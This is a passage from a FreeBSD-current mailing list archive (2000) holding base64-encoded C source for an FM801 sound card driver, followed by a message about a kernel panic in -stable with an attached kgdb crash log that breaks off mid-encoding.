X3dyKGZtODAxLCBGTV9JMlNfVk9MVU1FLCAweDA4MDgsMik7CgkKCWZtODAxX3dyKCh2b2lkICop Zm04MDEsIEZNX1JFQ09SRF9TT1VSQ0UsIDB4MDAwMCwyKTsKCQoJLyogVW5tYXNrIHBsYXliYWNr LCByZWNvcmQgYW5kIG1wdSBpbnRlcnJ1cHRzLCBtYXNrIHRoZSByZXN0ICovCglrMSA9IGZtODAx X3JkKCh2b2lkICopZm04MDEsIEZNX0lOVE1BU0ssMik7CglmbTgwMV93cihmbTgwMSwgRk1fSU5U TUFTSywKCQkoazEgJiB+KEZNX0lOVE1BU0tfUExBWSB8IEZNX0lOVE1BU0tfUkVDIHwgRk1fSU5U TUFTS19NUFUpKSB8CgkJRk1fSU5UTUFTS19WT0wsMik7CglmbTgwMV93cihmbTgwMSwgRk1fSU5U U1RBVFVTLAoJCUZNX0lOVFNUQVRVU19QTEFZIHwgRk1fSU5UU1RBVFVTX1JFQyB8IEZNX0lOVFNU QVRVU19NUFUgfAoJCUZNX0lOVFNUQVRVU19WT0wsMik7CgkKCURQUklOVCgiRk04MDEgaW5pdCBP a1xuIik7CglyZXR1cm4gMDsKfQoKc3RhdGljIGludApmbTgwMV9wY2lfYXR0YWNoKGRldmljZV90 IGRldikKewoJc25kZGV2X2luZm8gCQkqZDsKCXVfaW50MzJfdCAJCWRhdGE7CglzdHJ1Y3QgYWM5 N19pbmZvIAkqY29kZWM7CglzdHJ1Y3QgZm04MDFfaW5mbyAJKmZtODAxOwoJaW50IAkJCWk7Cglp bnQgCQkJbWFwcGVkID0gMDsKCWNoYXIgCQkJc3RhdHVzW1NORF9TVEFUVVNMRU5dOwoJCglkID0g ZGV2aWNlX2dldF9zb2Z0YyhkZXYpOwoJaWYgKChmbTgwMSA9IChzdHJ1Y3QgZm04MDFfaW5mbyAq KW1hbGxvYyhzaXplb2YoKmZtODAxKSxNX0RFVkJVRiwgTV9OT1dBSVQpKSA9PSBOVUxMKSB7CgkJ ZGV2aWNlX3ByaW50ZihkZXYsICJjYW5ub3QgYWxsb2NhdGUgc29mdGNcbiIpOwoJCXJldHVybiBF TlhJTzsKCX0KCQoJYnplcm8oZm04MDEsIHNpemVvZigqZm04MDEpKTsKCWZtODAxLT50eXBlID0g cGNpX2dldF9kZXZpZChkZXYpOwoJCglkYXRhID0gcGNpX3JlYWRfY29uZmlnKGRldiwgUENJUl9D T01NQU5ELCAyKTsKCWRhdGEgfD0gKFBDSU1fQ01EX1BPUlRFTnxQQ0lNX0NNRF9NRU1FTnxQQ0lN X0NNRF9CVVNNQVNURVJFTik7CglwY2lfd3JpdGVfY29uZmlnKGRldiwgUENJUl9DT01NQU5ELCBk YXRhLCAyKTsKCWRhdGEgPSBwY2lfcmVhZF9jb25maWcoZGV2LCBQQ0lSX0NPTU1BTkQsIDIpOwoJ Cglmb3IgKGkgPSAwOyAobWFwcGVkID09IDApICYmIChpIDwgUENJX01BWE1BUFNfMCk7IGkrKykg ewoJCWZtODAxLT5yZWdpZCA9IFBDSVJfTUFQUyArIGkqNDsKCQlmbTgwMS0+cmVndHlwZSA9IFNZ U19SRVNfTUVNT1JZOwoJCWZtODAxLT5yZWcgPSBidXNfYWxsb2NfcmVzb3VyY2UoZGV2LCBmbTgw MS0+cmVndHlwZSwgJmZtODAxLT5yZWdpZCwKCQkJCQkJMCwgfjAsIDEsIFJGX0FDVElWRSk7CgkJ aWYoIWZtODAxLT5yZWcpCgkJewoJCQlmbTgwMS0+cmVndHlwZSA9IFNZU19SRVNfSU9QT1JUOwoJ CQlmbTgwMS0+cmVnID0gYnVzX2FsbG9jX3Jlc291cmNlKGRldiwgZm04MDEtPnJlZ3R5cGUsICZm bTgwMS0+cmVnaWQsCgkJCQkJCTAsIH4wLCAxLCBSRl9BQ1RJVkUpOwoJCX0KCQkKCQlpZihmbTgw MS0+cmVnKSB7CgkJCWZtODAxLT5zdCA9IHJtYW5fZ2V0X2J1c3RhZyhmbTgwMS0+cmVnKTsKCQkJ Zm04MDEtPnNoID0gcm1hbl9nZXRfYnVzaGFuZGxlKGZtODAxLT5yZWcpOwoJCQltYXBwZWQrKzsK CQl9Cgl9CgoJaWYgKG1hcHBlZCA9PSAwKSB7CgkJZGV2aWNlX3ByaW50ZihkZXYsICJ1bmFibGUg dG8gbWFwIHJlZ2lzdGVyIHNwYWNlXG4iKTsKCQlnb3RvIG9vcHM7Cgl9CgkKCWZtODAxX2luaXQo Zm04MDEpOwoJCgljb2RlYyA9IGFjOTdfY3JlYXRlKGRldiwgKHZvaWQgKilmbTgwMSwgTlVMTCwg Zm04MDFfcmRjZCwgZm04MDFfd3JjZCk7CglpZiAoY29kZWMgPT0gTlVMTCkgZ290byBvb3BzOwoK CWlmIChtaXhlcl9pbml0KGQsICZhYzk3X21peGVyLCBjb2RlYykgPT0gLTEpIGdvdG8gb29wczsK CglmbTgwMS0+aXJxaWQgPSAwOwoJZm04MDEtPmlycSA9IGJ1c19hbGxvY19yZXNvdXJjZShkZXYs IFNZU19SRVNfSVJRLCAmZm04MDEtPmlycWlkLAoJCQkJMCwgfjAsIDEsIFJGX0FDVElWRSB8IFJG X1NIQVJFQUJMRSk7CglpZiAoIWZtODAxLT5pcnEgfHwKCQlidXNfc2V0dXBfaW50cihkZXYsIGZt ODAxLT5pcnEsIElOVFJfVFlQRV9UVFksCgkJCQkJZm04MDFfaW50ciwgZm04MDEsICZmbTgwMS0+ aWgpKSB7CgkJZGV2aWNlX3ByaW50ZihkZXYsICJ1bmFibGUgdG8gbWFwIGludGVycnVwdFxuIik7 CgkJZ290byBvb3BzOwoJfQoJCglpZiAoYnVzX2RtYV90YWdfY3JlYXRlKC8qcGFyZW50Ki9OVUxM LCAvKmFsaWdubWVudCovMiwgLypib3VuZGFyeSovMCwKCQkvKmxvd2FkZHIqL0JVU19TUEFDRV9N QVhBRERSXzMyQklULAoJCS8qaGlnaGFkZHIqL0JVU19TUEFDRV9NQVhBRERSLAoJCS8qZmlsdGVy Ki9OVUxMLCAvKmZpbHRlcmFyZyovTlVMTCwKCQkvKm1heHNpemUqL0ZNODAxX0JVRkZTSVpFLCAv Km5zZWdtZW50cyovMSwgLyptYXhzZWd6Ki8weDNmZmZmLAoJCS8qZmxhZ3MqLzAsICZmbTgwMS0+ cGFyZW50X2RtYXQpICE9IDApIHsKCQlkZXZpY2VfcHJpbnRmKGRldiwgInVuYWJsZSB0byBjcmVh dGUgZG1hIHRhZ1xuIik7CgkJZ290byBvb3BzOwoJfQoJCglzbnByaW50ZihzdGF0dXMsIDY0LCAi YXQgJXMgMHglbHggaXJxICVsZCIsCgkJKGZtODAxLT5yZWd0eXBlID09IFNZU19SRVNfSU9QT1JU KT8gImlvIiA6ICJtZW1vcnkiLAoJCXJtYW5fZ2V0X3N0YXJ0KGZtODAxLT5yZWcpLCBybWFuX2dl dF9zdGFydChmbTgwMS0+aXJxKSk7CgojZGVmaW5lIEZNODAxX01BWFBMQVlDSAkxCglpZiAocGNt X3JlZ2lzdGVyKGRldiwgZm04MDEsIEZNODAxX01BWFBMQVlDSCwgMSkpIGdvdG8gb29wczsKCXBj bV9hZGRjaGFuKGRldiwgUENNRElSX1BMQVksICZmbTgwMV9jaGFudGVtcGxhdGUsIGZtODAxKTsK CXBjbV9hZGRjaGFuKGRldiwgUENNRElSX1JFQywgJmZtODAxX2NoYW50ZW1wbGF0ZSwgZm04MDEp OwoJcGNtX3NldHN0YXR1cyhkZXYsIHN0YXR1cyk7CgkKCWZtODAxX3NhdmUoZm04MDEpOwoJcmV0 dXJuIDA7CgkKb29wczoJCglwcmludGYoIkZvcnRlIE1lZGlhIEZNODAxIGluaXRpYWxpemF0aW9u IGZhaWxlZFxuIik7CglpZiAoZm04MDEtPnJlZykgYnVzX3JlbGVhc2VfcmVzb3VyY2UoZGV2LCBm bTgwMS0+cmVndHlwZSwgZm04MDEtPnJlZ2lkLCBmbTgwMS0+cmVnKTsKCWlmIChmbTgwMS0+aWgp IGJ1c190ZWFyZG93bl9pbnRyKGRldiwgZm04MDEtPmlycSwgZm04MDEtPmloKTsKCWlmIChmbTgw MS0+aXJxKSBidXNfcmVsZWFzZV9yZXNvdXJjZShkZXYsIFNZU19SRVNfSVJRLCBmbTgwMS0+aXJx aWQsIGZtODAxLT5pcnEpOwoJZnJlZShmbTgwMSwgTV9ERVZCVUYpOwoJcmV0dXJuIEVOWElPOwp9 CgpzdGF0aWMgaW50CmZtODAxX3BjaV9wcm9iZSggZGV2aWNlX3QgZGV2ICkKewoJaW50IGlkOwoJ aWYgKChpZCA9IHBjaV9nZXRfZGV2aWQoZGV2KSkgPT0gUENJX0RFVklDRV9GT1JURU1FRElBMSAp IHsKCQlkZXZpY2Vfc2V0X2Rlc2MoZGV2LCAiRm9ydGUgTWVkaWEgRk04MDEgQXVkaW8gQ29udHJv bGxlciIpOwoJCXJldHVybiAwOwoJfQovKgogICAqKioqKiBObyBhbnkgaW5mbyBhYm91dCB0aGlz IGZlYXR1cmUgb2YgdGhlIGZtODAxIGluIGEgZGF0YXNoZWV0ICoqKioqCiAgICoqKioqIGJ1dCBt eSBob3QtNjg3eiBtb3RoZXJib2FyZCB3aXRoIGZtODAxIGVtYmVkZGVkIGhhcyBvbmUuLi4gYW55 IGlkZWFzPyAqKioqKgoJaWYgKChpZCA9IHBjaV9nZXRfZGV2aWQoZGV2KSkgPT0gUENJX0RFVklD RV9GT1JURU1FRElBMiApIHsKCQlkZXZpY2Vfc2V0X2Rlc2MoZGV2LCAiRm9ydGUgTWVkaWEgRk04 MDEgSW5wdXQgRGV2aWNlIChNUFU/KSIpOwoJCXJldHVybiAwOwoJfQoqLwoJcmV0dXJuIEVOWElP Owp9CgoKCi8qIGNoYW5uZWwgaW50ZXJmYWNlICovCnN0YXRpYyB2b2lkICoKZm04MDFjaF9pbml0 KHZvaWQgKmRldmluZm8sIHNuZF9kYnVmICpiLCBwY21fY2hhbm5lbCAqYywgaW50IGRpcikKewoJ c3RydWN0IGZtODAxX2luZm8gKmZtODAxID0gKHN0cnVjdCBmbTgwMV9pbmZvICopZGV2aW5mbzsK CXN0cnVjdCBmbTgwMV9jaGluZm8gKmNoID0gKGRpciA9PSBQQ01ESVJfUExBWSk/ICZmbTgwMS0+ cGNoIDogJmZtODAxLT5yY2g7CgkKCURQUklOVCgiZm04MDFjaF9pbml0LCBkaXJlY3Rpb24gPSAl ZFxuIiwgZGlyKTsKCWNoLT5wYXJlbnQgPSBmbTgwMTsKCWNoLT5jaGFubmVsID0gYzsKCWNoLT5i dWZmZXIgPSBiOwoJY2gtPmJ1ZmZlci0+YnVmc2l6ZSA9IEZNODAxX0JVRkZTSVpFOwoJY2gtPmRp ciA9IGRpcjsKCWlmKCBjaG5fYWxsb2NidWYoY2gtPmJ1ZmZlciwgZm04MDEtPnBhcmVudF9kbWF0 KSA9PSAtMSkgcmV0dXJuIE5VTEw7CglyZXR1cm4gKHZvaWQgKiljaDsKfQoKc3RhdGljIGludApm bTgwMWNoX3NldGRpcih2b2lkICpkYXRhLCBpbnQgZGlyKQp7CglzdHJ1Y3QgZm04MDFfY2hpbmZv ICpjaCA9IGRhdGE7CgljaC0+ZGlyID0gZGlyOwoJcmV0dXJuIDA7Cn0KCnN0YXRpYyBpbnQKZm04 MDFjaF9zZXRmb3JtYXQodm9pZCAqZGF0YSwgdV9pbnQzMl90IGZvcm1hdCkKewoJc3RydWN0IGZt ODAxX2NoaW5mbyAqY2ggPSBkYXRhOwoJc3RydWN0IGZtODAxX2luZm8gKmZtODAxID0gY2gtPnBh cmVudDsKCQoJRFBSSU5UKCJmbTgwMWNoX3NldGZvcm1hdCAweCV4IDogJXMsICVzLCAlcywgJXNc biIsIGZvcm1hdCwKCQkoZm9ybWF0ICYgQUZNVF9TVEVSRU8pPyJzdGVyZW8iOiJtb25vIiwKCQko Zm9ybWF0ICYgKEFGTVRfUzE2X0xFIHwgQUZNVF9TMTZfQkUgfCBBRk1UX1UxNl9MRSB8IEFGTVRf VTE2X0JFKSkgPyAiMTZiaXQiOiI4Yml0IiwKCQkoZm9ybWF0ICYgQUZNVF9TSUdORUQpPyAic2ln bmVkIjoidW5zaWduZWQiLAoJCShmb3JtYXQgJiBBRk1UX0JJR0VORElBTik/ImJpZ2VuZGlhaCI6 ImxpdHRsZWVuZGlhbiIgKTsKCQoJaWYoY2gtPmRpciA9PSBQQ01ESVJfUExBWSkgewoJCWZtODAx LT5wbGF5X2ZtdCA9ICAoZm9ybWF0ICYgQUZNVF9TVEVSRU8pPyBGTV9QTEFZX1NURVJFTyA6IDA7 CgkJZm04MDEtPnBsYXlfZm10IHw9IChmb3JtYXQgJiBBRk1UXzE2QklUKSA/IEZNX1BMQVlfMTZC SVQgOiAwOwoJCXJldHVybiBmbTgwMS0+cGxheV9mbXQ7Cgl9CgkKCWlmKGNoLT5kaXIgPT0gUENN RElSX1JFQyApIHsKCQlmbTgwMS0+cmVjX2ZtdCA9IChmb3JtYXQgJiBBRk1UX1NURVJFTyk/IEZN X1JFQ19TVEVSRU86MDsKCQlmbTgwMS0+cmVjX2ZtdCB8PSAoZm9ybWF0ICYgQUZNVF8xNkJJVCkg PyBGTV9QTEFZXzE2QklUIDogMDsKCQlyZXR1cm4gZm04MDEtPnJlY19mbXQ7Cgl9CgkKCXJldHVy biAwOwp9CgpzdHJ1Y3QgewoJaW50IGxpbWl0OwoJaW50IHJhdGU7Cn0gZm04MDFfcmF0ZXNbMTFd ID0gewoJeyAgNjYwMCwgIDU1MDAgfSwgICAgICAgICAKCXsgIDg3NTAsICA4MDAwIH0sICAgICAg ICAgCgl7IDEwMjUwLCAgOTYwMCB9LCAgICAgICAgIAoJeyAxMzIwMCwgMTEwMjUgfSwgICAgICAg ICAKCXsgMTc1MDAsIDE2MDAwIH0sICAgICAgICAgCgl7IDIwNTAwLCAxOTIwMCB9LCAgICAgICAg IAoJeyAyNjUwMCwgMjIwNTAgfSwgICAgICAgICAKCXsgMzUwMDAsIDMyMDAwIH0sICAgICAgICAg Cgl7IDQxMDAwLCAzODQwMCB9LCAgICAgICAgIAoJeyA0NjAwMCwgNDQxMDAgfSwgICAgICAgICAK CXsgNDgwMDAsIDQ4MDAwIH0sICAgICAgICAgCi8qIGFueXRoaW5nIGFib3ZlIC0+IDQ4MDAwICov Cn07CgpzdGF0aWMgaW50CmZtODAxY2hfc2V0c3BlZWQodm9pZCAqZGF0YSwgdV9pbnQzMl90IHNw ZWVkKQp7CglzdHJ1Y3QgZm04MDFfY2hpbmZvICpjaCA9IGRhdGE7CglzdHJ1Y3QgZm04MDFfaW5m byAqZm04MDEgPSBjaC0+cGFyZW50OwoJcmVnaXN0ZXIgaW50IGk7CgkKCQoJZm9yIChpID0gMDsg aSA8IDEwICYmIGZtODAxX3JhdGVzW2ldLmxpbWl0IDw9IHNwZWVkOyBpKyspIDsKCQoJaWYoY2gt PmRpciA9PSBQQ01ESVJfUExBWSkgewoJCWZtODAxLT5wY2guc3BkID0gZm04MDFfcmF0ZXNbaV0u cmF0ZTsKCQlmbTgwMS0+cGxheV9zaGlmdCA9IChpPDw4KTsKCQlmbTgwMS0+cGxheV9zaGlmdCAm PSBGTV9QTEFZX1JBVEVfTUFTSzsKCX0KCQoJaWYoY2gtPmRpciA9PSBQQ01ESVJfUkVDICkgewoJ CWZtODAxLT5yY2guc3BkID0gZm04MDFfcmF0ZXNbaV0ucmF0ZTsKCQlmbTgwMS0+cmVjX3NoaWZ0 ID0gKGk8PDgpOwoJCWZtODAxLT5yZWNfc2hpZnQgJj0gRk1fUkVDX1JBVEVfTUFTSzsKCX0KCQoJ Y2gtPnNwZCA9IGZtODAxX3JhdGVzW2ldLnJhdGU7CgkKCXJldHVybiBmbTgwMV9yYXRlc1tpXS5y YXRlOwp9CgpzdGF0aWMgaW50CmZtODAxY2hfc2V0YmxvY2tzaXplKHZvaWQgKmRhdGEsIHVfaW50 MzJfdCBibG9ja3NpemUpCnsKCXN0cnVjdCBmbTgwMV9jaGluZm8gKmNoID0gZGF0YTsKCXN0cnVj dCBmbTgwMV9pbmZvICpmbTgwMSA9IGNoLT5wYXJlbnQ7CgkKCWZtODAxLT5wbGF5X2Jsa3NpemUg PSBibG9ja3NpemU7CglmbTgwMS0+cmVjX2Jsa3NpemUgPSBibG9ja3NpemU7CgkKCURQUklOVCgi Zm04MDFjaF9zZXRibG9ja3NpemUgJWQgKGRpciAlZClcbiIsYmxvY2tzaXplLCBjaC0+ZGlyKTsK CglyZXR1cm4gYmxvY2tzaXplOwp9CgpzdGF0aWMgaW50CmZtODAxY2hfdHJpZ2dlcih2b2lkICpk YXRhLCBpbnQgZ28pCnsKCXN0cnVjdCBmbTgwMV9jaGluZm8gKmNoID0gZGF0YTsKCXN0cnVjdCBm bTgwMV9pbmZvICpmbTgwMSA9IGNoLT5wYXJlbnQ7Cgl1X2ludDMyX3QgYmFzZWFkZHIgPSB2dG9w aHlzKGNoLT5idWZmZXItPmJ1Zik7CglzbmRfZGJ1ZiAqYiA9IGNoLT5idWZmZXI7Cgl1X2ludDMy X3QgazE7CgkKCURQUklOVCgiZm04MDFjaF90cmlnZ2VyIGdvICVkICwgIiwgZ28pOwoJRFBSSU5U KCJycCAlZCwgcmwgJWQsIGZwICVkIGZsICVkLCBkbCAlZCwgYmxrc2l6ZT0lZFxuIiwKCQliLT5y cCxiLT5ybCwgYi0+ZnAsYi0+ZmwsIGItPmRsLCBiLT5ibGtzeik7CgkKCWlmIChnbyA9PSBQQ01U UklHX0VNTERNQVdSIHx8IGdvID09IFBDTVRSSUdfRU1MRE1BUkQpIHsKCQlyZXR1cm4gMDsKCX0K CQoJaWYgKGNoLT5kaXIgPT0gUENNRElSX1BMQVkpIHsKCQlpZiAoZ28gPT0gUENNVFJJR19TVEFS VCkgewoJCQkJCgkJCWZtODAxLT5wbGF5X3N0YXJ0ID0gYmFzZWFkZHI7CgkJCWZtODAxLT5wbGF5 X3NpemUgPSBiLT5ibGtzejsKCQkJZm04MDEtPnBsYXlfYmxrc2l6ZSA9IGZtODAxLT5wbGF5X3Np emU7CgkJCWZtODAxLT5wbGF5X25leHRibGsgPSBmbTgwMS0+cGxheV9zdGFydCArIGZtODAxLT5w bGF5X2Jsa3NpemU7CgkJCWZtODAxLT5wbGF5X2ZsaXAgPSAwOwoJCQlmbTgwMV93cihmbTgwMSwg Rk1fUExBWV9ETUFMRU4sIGZtODAxLT5wbGF5X2Jsa3NpemUgLSAxLCAyKTsKCQkJZm04MDFfd3Io Zm04MDEsIEZNX1BMQVlfRE1BQlVGMSxmbTgwMS0+cGxheV9zdGFydCw0KTsKCQkJZm04MDFfd3Io Zm04MDEsIEZNX1BMQVlfRE1BQlVGMixmbTgwMS0+cGxheV9uZXh0YmxrLDQpOwoJCQlmbTgwMV93 cihmbTgwMSwgRk1fUExBWV9DVEwsCgkJCQkJRk1fUExBWV9TVEFSVCB8IEZNX1BMQVlfU1RPUE5P VyB8IGZtODAxLT5wbGF5X2ZtdCB8IGZtODAxLT5wbGF5X3NoaWZ0LCAKCQkJCQkyICk7CgkJCX0g ZWxzZSB7CgkJCWsxID0gZm04MDFfcmQoZm04MDEsIEZNX1BMQVlfQ1RMLDIpOwoJCQlmbTgwMV93 cihmbTgwMSwgRk1fUExBWV9DVEwsCgkJCQkoazEgJiB+KEZNX1BMQVlfU1RPUE5PVyB8IEZNX1BM QVlfU1RBUlQpKSB8CgkJCQlGTV9QTEFZX0JVRjFfTEFTVCB8IEZNX1BMQVlfQlVGMl9MQVNULCAy ICk7CgkJfQoJfSBlbHNlIGlmKGNoLT5kaXIgPT0gUENNRElSX1JFQykgewoJCWlmIChnbyA9PSBQ Q01UUklHX1NUQVJUKSB7CgkJCWZtODAxLT5yZWNfc3RhcnQgPSBiYXNlYWRkcjsKCQkJZm04MDEt PnJlY19zaXplID0gYi0+Ymxrc3o7CgkJCWZtODAxLT5yZWNfYmxrc2l6ZSA9IGZtODAxLT5yZWNf c2l6ZTsKCQkJZm04MDEtPnJlY19uZXh0YmxrID0gZm04MDEtPnJlY19zdGFydCArIGZtODAxLT5y ZWNfYmxrc2l6ZTsKCQkJZm04MDEtPnJlY19mbGlwID0gMDsKCQkJZm04MDFfd3IoZm04MDEsIEZN X1JFQ19ETUFMRU4sIGZtODAxLT5yZWNfYmxrc2l6ZSAtIDEsIDIpOwoJCQlmbTgwMV93cihmbTgw MSwgRk1fUkVDX0RNQUJVRjEsZm04MDEtPnJlY19zdGFydCw0KTsKCQkJZm04MDFfd3IoZm04MDEs IEZNX1JFQ19ETUFCVUYyLGZtODAxLT5yZWNfbmV4dGJsayw0KTsKCQkJZm04MDFfd3IoZm04MDEs IEZNX1JFQ19DVEwsIAoJCQkJCUZNX1JFQ19TVEFSVCB8IEZNX1JFQ19TVE9QTk9XIHwgZm04MDEt PnJlY19mbXQgfCBmbTgwMS0+cmVjX3NoaWZ0LCAKCQkJCQkyICk7CgkJCX0gZWxzZSB7CgkJCWsx ID0gZm04MDFfcmQoZm04MDEsIEZNX1JFQ19DVEwsMik7CgkJCWZtODAxX3dyKGZtODAxLCBGTV9S RUNfQ1RMLAoJCQkJKGsxICYgfihGTV9SRUNfU1RPUE5PVyB8IEZNX1JFQ19TVEFSVCkpIHwKCQkJ CUZNX1JFQ19CVUYxX0xBU1QgfCBGTV9SRUNfQlVGMl9MQVNULCAyKTsKCQl9Cgl9CgkKCXJldHVy biAwOwp9CgovKiBBbG1vc3QgQUxTQSBjb3B5ICovCnN0YXRpYyBpbnQKZm04MDFjaF9nZXRwdHIo dm9pZCAqZGF0YSkKewoJc3RydWN0IGZtODAxX2NoaW5mbyAqY2ggPSBkYXRhOwoJc3RydWN0IGZt ODAxX2luZm8gKmZtODAxID0gY2gtPnBhcmVudDsKCWludCByZXN1bHQgPSAwOwoJc25kX2RidWYg KmIgPSBjaC0+YnVmZmVyOwoJCglpZiAoY2gtPmRpciA9PSBQQ01ESVJfUExBWSkgewoJCXJlc3Vs dCA9IGZtODAxX3JkKGZtODAxLCAKCQkJKGZtODAxLT5wbGF5X2ZsaXAmMSkgPyAKCQkJRk1fUExB WV9ETUFCVUYyOkZNX1BMQVlfRE1BQlVGMSwgNCkgLSBmbTgwMS0+cGxheV9zdGFydDsKCX0KCQoJ aWYgKGNoLT5kaXIgPT0gUENNRElSX1JFQykgewoJCXJlc3VsdCA9IGZtODAxX3JkKGZtODAxLAoJ CQkoZm04MDEtPnJlY19mbGlwJjEpID8KCQkJRk1fUkVDX0RNQUJVRjI6Rk1fUkVDX0RNQUJVRjEs IDQpIC0gZm04MDEtPnJlY19zdGFydDsKCX0gCgkKCURQUklOVCgiZm04MDFjaF9nZXRwdHI6JWQs ICBycCAlZCwgcmwgJWQsIGZwICVkIGZsICVkXG4iLAoJICAgICAgICAgICAgICAgIHJlc3VsdCwg Yi0+cnAsYi0+cmwsIGItPmZwLGItPmZsKTsgICAgICAgICAgICAgICAgCgoJcmV0dXJuIHJlc3Vs dDsKfQoKc3RhdGljIHBjbWNoYW5fY2FwcyAqCmZtODAxY2hfZ2V0Y2Fwcyh2b2lkICpkYXRhKQp7 CglyZXR1cm4gJmZtODAxY2hfY2FwczsKfQoKc3RhdGljIGludApmbTgwMV9wY2lfZGV0YWNoKGRl dmljZV90IGRldikKewoJc3RydWN0IGZtODAxX2luZm8gKmZtODAxID0gZm04MDFfZ2V0KCk7CgkK CURQUklOVCgiRm9ydGUgTWVkaWEgRk04MDEgZGV0YWNoXG4iKTsKCglpZiAoZm04MDEtPnJlZykg YnVzX3JlbGVhc2VfcmVzb3VyY2UoZGV2LCBmbTgwMS0+cmVndHlwZSwgZm04MDEtPnJlZ2lkLCBm bTgwMS0+cmVnKTsKCWlmIChmbTgwMS0+aWgpIGJ1c190ZWFyZG93bl9pbnRyKGRldiwgZm04MDEt PmlycSwgZm04MDEtPmloKTsKCWlmIChmbTgwMS0+aXJxKSBidXNfcmVsZWFzZV9yZXNvdXJjZShk ZXYsIFNZU19SRVNfSVJRLCBmbTgwMS0+aXJxaWQsIGZtODAxLT5pcnEpOwoJZnJlZShmbTgwMSwg TV9ERVZCVUYpOwoJcmV0dXJuIDA7CQp9CgpzdGF0aWMgZGV2aWNlX21ldGhvZF90IGZtODAxX21l dGhvZHNbXSA9IHsKCS8qIERldmljZSBpbnRlcmZhY2UgKi8KCURFVk1FVEhPRChkZXZpY2VfcHJv YmUsCQlmbTgwMV9wY2lfcHJvYmUpLAoJREVWTUVUSE9EKGRldmljZV9hdHRhY2gsCWZtODAxX3Bj aV9hdHRhY2gpLAoJREVWTUVUSE9EKGRldmljZV9kZXRhY2gsCWZtODAxX3BjaV9kZXRhY2gpLAoJ eyAwLCAwfQp9OwoKc3RhdGljIGRyaXZlcl90IGZtODAxX2RyaXZlciA9IHsKCSJwY20iLAoJZm04 MDFfbWV0aG9kcywKCXNpemVvZihzbmRkZXZfaW5mbyksCn07CgpzdGF0aWMgZGV2Y2xhc3NfdCBw Y21fZGV2Y2xhc3M7CgpEUklWRVJfTU9EVUxFKGZtODAxLCBwY2ksIGZtODAxX2RyaXZlciwgcGNt X2RldmNsYXNzLDAsIDApOwo= --_=XFMail.1.4.0.FreeBSD:000816183513:1038=_-- End of MIME message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 8:14:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.telemere.net (mail.telemere.net [63.224.9.4]) by hub.freebsd.org (Postfix) with ESMTP id 971E837C03B; Wed, 16 Aug 2000 08:14:27 -0700 (PDT) (envelope-from visigoth@telemere.net) Received: by mail.telemere.net (Postfix, from userid 1001) id 5AD3320F01; Wed, 16 Aug 2000 10:17:42 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by mail.telemere.net (Postfix) with ESMTP id 556781D101; Wed, 16 Aug 2000 10:17:42 -0500 (CDT) Date: Wed, 16 Aug 2000 10:17:37 -0500 (CDT) From: Visigoth To: Alfred Perlstein Cc: current@freebsd.org, phk@freebsd.org Subject: Re: Kernel explosion in -stable In-Reply-To: <20000815170009.H4854@fw.wintelcom.net> Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-397160700-966439057=:69243" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-397160700-966439057=:69243 Content-Type: TEXT/PLAIN; charset=US-ASCII -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tue, 15 Aug 2000, Alfred Perlstein wrote: > Please get a crashdump and traceback: I had tried yesterday, but didn't realize I didn't have dumpon set on that machine.... DUH! Ok, here is a kernel traceback... I would be happy to test/help develop any patches, seeing as how that machine is going to sit there broken until I fix it.. ;) Thanks for the help Damieon Stark Sr. Unix Systems Administrator visigoth@telemere.net PGP Public Key: www.telemere.net/~visigoth/visigoth.asc ____________________________________________________________________________ | M$ -Where do you want to go today? | Linux -Where do you want to go tomorrow?| FreeBSD - The POWER to serve Freebsd -Are you guys coming or what? | http://www.freebsd.org | | - ---------------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.1i iQA/AwUBOZqihTnmC/+RTnGeEQLzYwCgtr9xpqlhroZPBl1tYW3plQr4D5cAoKIn HBptXXaq5Jybj8/syjsk51pE =G8JD -----END PGP SIGNATURE----- --0-397160700-966439057=:69243 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=kgdb Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Kernel debug log Content-Disposition: attachment; filename=kgdb amFpbCMgZ2RiIC1rIGtlcm5lbC5kZWJ1ZyAvdmFyL2NyYXNoL3ZtY29yZS4w IA0KR05VIGdkYiA0LjE4DQpDb3B5cmlnaHQgMTk5OCBGcmVlIFNvZnR3YXJl IEZvdW5kYXRpb24sIEluYy4NCkdEQiBpcyBmcmVlIHNvZnR3YXJlLCBjb3Zl cmVkIGJ5IHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSwgYW5kIHlv dSBhcmUNCndlbGNvbWUgdG8gY2hhbmdlIGl0IGFuZC9vciBkaXN0cmlidXRl IGNvcGllcyBvZiBpdCB1bmRlciBjZXJ0YWluIGNvbmRpdGlvbnMuDQpUeXBl ICJzaG93IGNvcHlpbmciIHRvIHNlZSB0aGUgY29uZGl0aW9ucy4NClRoZXJl IGlzIGFic29sdXRlbHkgbm8gd2FycmFudHkgZm9yIEdEQi4gIFR5cGUgInNo b3cgd2FycmFudHkiIGZvciBkZXRhaWxzLg0KVGhpcyBHREIgd2FzIGNvbmZp Z3VyZWQgYXMgImkzODYtdW5rbm93bi1mcmVlYnNkIi4uLg0KSWRsZVBURCAz NTU1MzI4DQppbml0aWFsIHBjYiBhdCAyZGViODANCnBhbmljc3RyOiBwYWdl IGZhdWx0DQpwYW5pYyBtZXNzYWdlczoNCi0tLQ0KRmF0YWwgdHJhcCAxMjog cGFnZSBmYXVsdCB3aGlsZSBpbiBrZXJuZWwgbW9kZQ0KZmF1bHQgdmlydHVh bCBhZGRyZXNzICAgPSAweDANCmZhdWx0IGNvZGUgICAgICAgICAgICAgID0g c3VwZXJ2aXNvciB3cml0ZSwgcGFnZSBub3QgcHJlc2VudA0KaW5zdHJ1Y3Rp b24gcG9pbnRlciAgICAgPSAweDg6MHhjMDFhZjM4MQ0Kc3RhY2sgcG9pbnRl ciAgICAgICAgICAgPSAweDEwOjB4ZDU3MzlkZDQNCmZyYW1lIHBvaW50ZXIg 